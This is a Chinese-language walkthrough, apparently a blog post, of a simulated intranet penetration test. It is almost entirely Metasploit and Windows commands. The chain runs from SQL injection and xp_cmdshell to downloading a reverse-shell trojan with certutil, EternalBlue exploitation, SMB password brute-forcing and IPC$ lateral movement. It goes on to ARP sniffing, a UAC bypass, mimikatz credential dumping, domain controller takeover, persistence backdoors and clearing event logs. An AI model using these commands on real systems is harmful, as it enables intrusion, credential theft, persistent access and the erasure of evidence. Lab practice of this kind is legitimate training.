1号机模拟外网web应用，找到注入点

 判断为整形盲注，直接sqlmap跑一下权限.

 Sqlserver 2008数据库sa权限,2008数据库默认禁用xp_cmdshell，需要手动开启。

EXEC sp_configure 'show advanced options',1//允许修改高级参数

RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1  //打开xp_cmdshell扩展

RECONFIGURE

  开启后直接从注入点利用xp_cmdshell，执行系统命令添加账户等操作。我这里选择远程下载木马，运行木马对系统进行控制。生成木马并把木马放在192.168.31.135 web上提供下载。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.45 lport=4444 -f exe > /home/1.exe //生成msf木马文件

certutil -urlcache -split -f http://192.168.31.135/test.exe c:\1.exe //远程下载木马程序

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 本机ip

set lport 本机监听端口

run

再通过xp_cmdshell执行木马。

接收到shell，getuid 查看当前用户权限，shell  进入交互式shell，目标不在此主机，继续进行纵深。

background  //挂起会话

route add 目标网段 子掩码  session号 //添加一条路由去往目标内网；

   通过路由转发对目标内网ms17-010漏洞主机进行探测。

use auxiliary/scanner/smb/smb_ms17_010

set rhosts 192.168.192.1/24

set threads 50

Run

发现一台存在ms17-010 漏洞主机2号机，并设置exp进行攻击。

use exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/reverse_tcp

set lhost 192.168.31.45

set lport 6666

set rhosts 192.168.192.135

Run

通过远程溢出拿下2号机，添加用户开启3389，3389端口转发。

run getgui -e  //开启3389端口

portfwd add -l 1111 -p 3389 -r 192.168.192.135//将192.135主机3389转发本机111

rdesktop -u 账号  -p 密码    本机ip:端口    // 远程连接

可以再添加一条路由继续进行扫描扩大战果。

通过路由转发继续扫描脆弱主机，smb弱口令

use auxiliary/scanner/smb/smb_login

set rhosts 192.168.192.1/24

set user_file /home/1.txt

set pass_file /home/2.txt

set threads 50

Run

192.168.192.129 弱口令 administrator 123456，目标主机未开启3389，利用ipc入侵，回到2号机shell会话上 session -i 2 shell进入交互会话。

net use \\192.168.192.129 "123456" /user:"administrator" //建立ipc连接

copy c:\\1.exe \\192.168.192.129\c$    //将本地c盘1.exe 拷贝到目标c盘

net time \\192.168.192.129    //查看目标时间

at \\192.168.192.129 23:59 c:\\1.exe   // 根据时间添加事件，时间一到执行木马

kali设置好监听等待木马执行，反弹shell。

利用3号机反弹的shell进行arp嗅探。

load sniffer //加载嗅探模板

sniffer_interfaces //列出主机网卡

sniffer_start [数值]  //开启监听

sniffer_dump 2 1.cap //导出监听到的数据为1.cap

用户登陆ftp，会被嗅探到明文密码。

解cap嗅探包。

use auxiliary/sniffer/psnuffle

set pcapfile 1.cap

run

得到ftp明文木马，然后远程到一台主机通过ftp上传webshell 大马。

进入大马，找到可读写目录上传木马。

kali设置好监听等待木马执行。

执行并接收，权限很低利用getsystem提权失败。

进入shell，systeminfo命令查看已打的补丁，发现可以用ms15-051进行提权。

search ms15 // 搜索ms15

额。。。。。好像提权失败了，换思路先绕过UAC.

use exploit/windows/local/bypassuac

set session 4

Run

返回一个新的shell,进入返回的新shell，直接getsystem进行提权。

提权成功，接下来读取明文密码。

run hashdump //读取用户密码hash

读取失败了，但是不要着急我们把shell注入到一个实体system进程中。

ps  //查看所有进程

migrate 1076  //将shell迁移到 1076 线程当中

load mimikatz  //加载mimikatz

msv  //读取用户明文（hash）

拿到域管理用户hash密码，去破解一下。

有了域控账户密码可以在域里面畅通无阻，继续用ipc拿下域控制器。

利用域管理员账号密码进行ipc入侵，kali设置监听得到反弹shell。

run getgui -e  //开启3389端口

portfwd add -l 1111 -p 3389 -r 192.168.192.132

rdesktop -u [email protected] -p P@ssw0rd 192.168.2.68:1111

成功拿下域控制器！

run persistence -X -i 5 -p 4444 -r 192.168.31.45 //向注册表写入后门文件 开机自启 每5秒反弹一次shell

run metsvc //在主机上创建一个监听31337端口的后门服务

clearev 清理痕迹。

不足之处，还请各位大佬多多指点！！！！